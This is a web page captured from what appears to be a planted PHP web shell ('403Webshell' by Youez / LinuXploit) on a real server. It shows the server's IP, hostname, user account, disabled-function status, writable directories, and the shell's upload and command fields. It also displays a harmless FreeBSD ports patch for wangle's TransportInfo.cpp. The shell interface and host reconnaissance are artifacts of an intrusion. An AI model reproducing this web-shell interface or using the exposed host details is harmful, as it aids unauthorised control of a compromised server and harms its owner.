403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net/wangle/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net/wangle/files/patch-acceptor_TransportInfo.cpp
--- acceptor/TransportInfo.cpp.orig	2020-09-08 16:56:17 UTC
+++ acceptor/TransportInfo.cpp
@@ -42,6 +42,16 @@ bool TransportInfo::initWithSocket(const folly::AsyncS
   if (mss > 0) {
     cwnd = (cwndBytes + mss - 1) / mss;
   }
+#elif defined(__FreeBSD__)
+  rtt = microseconds(tcpinfo.tcpi_rtt * 1000);
+  rtt_var = tcpinfo.tcpi_rttvar * 1000;
+  rto = tcpinfo.tcpi_rto * 1000;
+  rtx_tm = -1;
+  mss = tcpinfo.tcpi_snd_mss;
+  cwndBytes = tcpinfo.tcpi_snd_cwnd;
+  if (mss > 0) {
+    cwnd = (cwndBytes + mss - 1) / mss;
+  }
 #else
   rtt = microseconds(tcpinfo.tcpi_rtt);
   rtt_var = tcpinfo.tcpi_rttvar;

Youez - 2016 - github.com/yon3zu
LinuXploit